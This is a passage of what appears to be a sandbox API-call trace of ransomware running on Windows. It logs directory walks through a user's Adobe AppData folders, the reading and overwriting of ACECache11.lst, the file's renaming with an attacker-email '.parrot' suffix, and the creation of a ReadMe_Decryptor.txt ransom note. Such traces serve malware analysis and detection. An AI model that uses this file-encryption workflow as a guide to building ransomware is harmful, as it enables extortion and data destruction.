(in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xa5cfbd40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x21df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADOBES~1.PAR")) returned 1 [0035.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc9d8 [0035.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.257] lstrcmpW (lpString1="AdobeSysFnt10.lst.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606a50 [0035.257] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xa5d6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5d6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0035.257] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5cafa80, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5cafa80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5eeaf20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0035.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0035.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.257] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0035.257] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5e529a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1528, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SHARED~1.PAR")) returned 1 [0035.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc9d8 [0035.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.258] lstrcmpW (lpString1="SharedDataEvents.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0035.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x606b58 [0035.258] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x12fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="USERCA~1.PAR")) returned 1 [0035.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5cc9d8 [0035.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.258] lstrcmpW (lpString1="UserCache.bin.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0035.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d2058 [0035.258] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x12fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="USERCA~1.PAR")) returned 0 [0035.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.258] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0035.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0035.258] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0035.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc9d8 [0035.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0035.258] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0035.258] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0035.258] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.258] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5e9ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0035.258] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5e9ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0035.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.258] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0035.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0035.258] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0035.258] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0035.259] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0035.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0035.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0035.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0035.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.259] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0035.259] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.259] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.259] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.259] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.259] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0035.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4e8 [0035.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.259] lstrcmpW (lpString1="ACECache11.lst", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.259] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x268 [0035.259] GetFileSize (in: hFile=0x268, lpFileSizeHigh=0x18ef50 | out: lpFileSizeHigh=0x18ef50*=0x0) returned 0x49c [0035.259] LockFile (hFile=0x268, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0035.259] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0035.260] ReadFile (in: hFile=0x268, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0035.261] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.261] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x49c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x49c, lpOverlapped=0x0) returned 1 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0035.262] GetLastError () returned 0x0 [0035.262] SetLastError (dwErrCode=0x0) [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0035.262] GetLastError () returned 0x0 [0035.262] SetLastError (dwErrCode=0x0) [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.262] GetLastError () returned 0x0 [0035.262] SetLastError (dwErrCode=0x0) [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4a0) returned 0x5d9fd8 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6069b0 [0035.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x930) returned 0x5cce58 [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9fd8 | out: hHeap=0x5b0000) returned 1 [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0035.262] GetLastError () returned 0x0 [0035.262] SetLastError (dwErrCode=0x0) [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbfb8 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x60cdc0 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.263] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d4e8 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x60cf48 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf48 | out: hHeap=0x5b0000) returned 1 [0035.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d1760 [0035.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0035.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60c798 [0035.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0035.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6105c0 [0035.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0035.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0035.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0035.264] WriteFile (in: hFile=0x268, lpBuffer=0x5d33c8*, nNumberOfBytesToWrite=0x5b8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5d33c8*, lpNumberOfBytesWritten=0x18eed4*=0x5b8, lpOverlapped=0x0) returned 1 [0035.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0035.264] UnlockFile (hFile=0x268, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0035.264] CloseHandle (hObject=0x268) returned 1 [0035.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x60cf48 [0035.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d0838 [0035.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf48 | out: hHeap=0x5b0000) returned 1 [0035.265] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0035.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0035.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0035.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc9d8 [0035.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0035.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0035.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0035.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x268 [0035.266] GetFileType (hFile=0x268) returned 0x1 [0035.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0035.276] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0035.276] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0035.276] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0035.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4e8 [0035.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc9d8 [0035.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x601838 [0035.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5cc9d8 [0035.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.276] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0035.277] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.277] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, 